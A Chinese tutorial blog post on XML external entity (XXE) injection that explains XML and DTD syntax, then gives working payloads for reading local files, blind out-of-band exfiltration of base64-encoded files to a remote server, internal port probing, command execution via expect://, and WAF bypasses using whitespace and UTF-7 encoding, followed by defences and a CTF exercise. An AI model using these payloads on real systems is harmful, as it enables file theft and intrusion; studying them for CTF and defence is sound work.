xxe外部实体注入

621 阅读4分钟

携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第22天,点击查看活动详情

XML

定义

XML是一种用来传输和存储数据的可扩展标记语言,用于传输和数据存储;而HTML用于显示数据。

语法规则

  • 所有的XML元素都必须有一个关闭标签
  • XML标签对大小写敏感
  • XML必须正确嵌套
  • XML属性值必须加引号“”
  • 实体引用

在标签属性,或者对应位置值可能出现<>符号,这些在对应的xml中都是特殊含义的,那么必须使用对应html的实体对应的表示:例如,if salary < 1000 then 如果把这个“<”放在元素中,那么解析器会把他当成新元素的开始,就会发生报错。为了避免这个错误使用实体引用来代替if salary < 1000 then

结构

  • XML 文档声明,在文档的第一行
  • XML 文档类型定义,即DTD,XXE 漏洞所在的地方
  • XML 文档元素

DTD

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD

  • 内部声明实体
  • 引用外部实体

内部声明

<?xml version="1.0"?>                       //xml声明
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>    //定义了note元素,并且note元素下面有4个子元素
<!ELEMENT to      (#PCDATA)>             
<!ELEMENT from    (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body    (#PCDATA)>
]>                                   //从<!DOCTYPE...到}>,是DTD文档的定义 
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>                                     //后面这部分就是XML文件内容

//定义了子元素to,后面的(#PCDATA)意思是to元素里面的字符串内容不会被解析

外部声明

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

其中note.dtd的内容为

<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to      (#PCDATA)>              
<!ELEMENT from    (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body    (#PCDATA)>
]>

协议

不同语言下支持的协议:

除此外php在安装扩展后还能支持的协议:

 

XXE

漏洞原理

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可以加载恶意外部文件,造成文件读取、命令执行、内网端口扫描。XXE漏洞触发的点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件

利用

文件读取(有回显)

github.com/c0ny1/xxe-l…

传输类型是xml,通过post传输的数据。

然后看一下返回的响应包,发现,响应包返回的信息中,有username的值admin。

尝试构造payload来构造外部实体admin处的注入,利用协议读取文件,用 &实体名; 引用的实体

<!DOCTYPE A[
<!ENTITY xss SYSTEM "file:///f:/flag.txt">]>
<user><username>&xss;</username><password>admin</password></user>

通用实体(& 实体名)

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

参数实体(% 实体名)

<!DOCTYPE A[
<!ENTITY xss SYSTEM "file:///f:/text.txt">]>
<user><username>&xss;</username><password>admin</password></user>

有些内容可能不想让解析引擎解析执行,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是xml标记

<![CDATA[***]]>//在引用的两边加上 "<![CDATA["和 “]]>

多个实体拼接(错)

<!DOCTYPE A[
<!ENTITY B "<![CDATA[">
<!ENTITY C SYSTEM "file:///f:/text.txt">
<!ENTITY D "]]>">]>
<user><username>&B;&C;&D;</username><password>admin</password></user>

要想在 DTD中拼接,就要使用参数实体

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE A[
<!ENTITY % B "<![CDATA[">   
<!ENTITY % C SYSTEM "file:///f:/text.txt">  
<!ENTITY % D "]]>">  
<!ENTITY % dtd SYSTEM "http://127.0.0.1/evil.dtd">
 %dtd; ]> 
<user><username>&all;</username><password>admin</password></user>

evil.dtd

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%B;%C;%D;">

文件读取(无回显)

blind xxe虽然不回显信息,但是可以利用file协议来读取文件。对于这种情况,就可以用到参数实体了(%)。

将login.php进行如下设置即为无回显

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=f:/flag.txt">
<!ENTITY % dtd SYSTEM "http://192.168.88.128/eval.xml">
%dtd;
%send;
]>

远程服务器创建eval.xml

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.88.128/%file;'>"> %payload;

上面这段代码由于解析的问题将 send 前面的 %进行HTML 实体转化

tail /var/log/httpd/access_log -f 访问日志得到base64编码

HTML实体化

字符十六进制十进制转义字符
""""
&&&&
<<<<
>>>
%%% 
'''´

端口探测

(6条消息) XXE漏洞-内网探测_小刚的博客-CSDN博客

利用http协议请求探测内网端口的存活,从而可以进行ssrf攻击。构造代码:

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://127.0.0.1:80/" [  
<!ELEMENT data (#PCDATA)>  
]>
<data>&data;</data>

执行系统命令

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "expect://whoami"> 
]>
<user><username>&xxes;</username><password>admin</password></user>

绕过方式

空格绕过

通常XXE漏洞存在于XML文档的开头,有的WAF会检测XML文档中开头中的某些子字符串或正则表达式,但是XML格式在设置标签属性的格式时允许使用任何数量的空格,因此我们可以在或中插入数量足够多的空格去绕过WAF的检测。

<?xml              


                                                                                                                                                                                            
version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>

编码绕过

当服务端对一些关键词过滤时(SYSTEM ENTITY)时,可以使用UTF-7绕过

www.motobit.com/util/charse…

 

原文

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>

绕过

<?xml version="1.0" encoding="utf-7"?>
+ADwAIQ-DOCTYPE test +AFs-
+ADwAIQ-ENTITY +ACU- file SYSTEM +ACI-php://filter/read+AD0-convert-base64.encode/resource+AD0-/flag.txt+ACIAPg-
+ADwAIQ-ENTITY +ACU- remote SYSTEM +ACI-http://vps-ip/test.dtd+ACIAPg-
+ACU-remote+ADs-
+ACU-dtd+ADs-
+ACU-xxe+ADs-
+AF0APg-

linux命令

iconv -f utf8 -t utf-7 2.xml>1.xml

防御

禁用外部实体

允许加载了外部实体。那么要防御禁止外部实体加载。

libxml_disable_entity_loader(true);

将false不禁止外部实体加载,改为true禁止外部实体加载。

过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM

例题

web.jarvisoj.com:9882/

抓包后得到json数据

由于json和xml可以互换,因此放到repeater中进行转换,测试后发现有xxe漏洞

提示flag在home/ctf/flag.txt中

构造payload访问flag.txt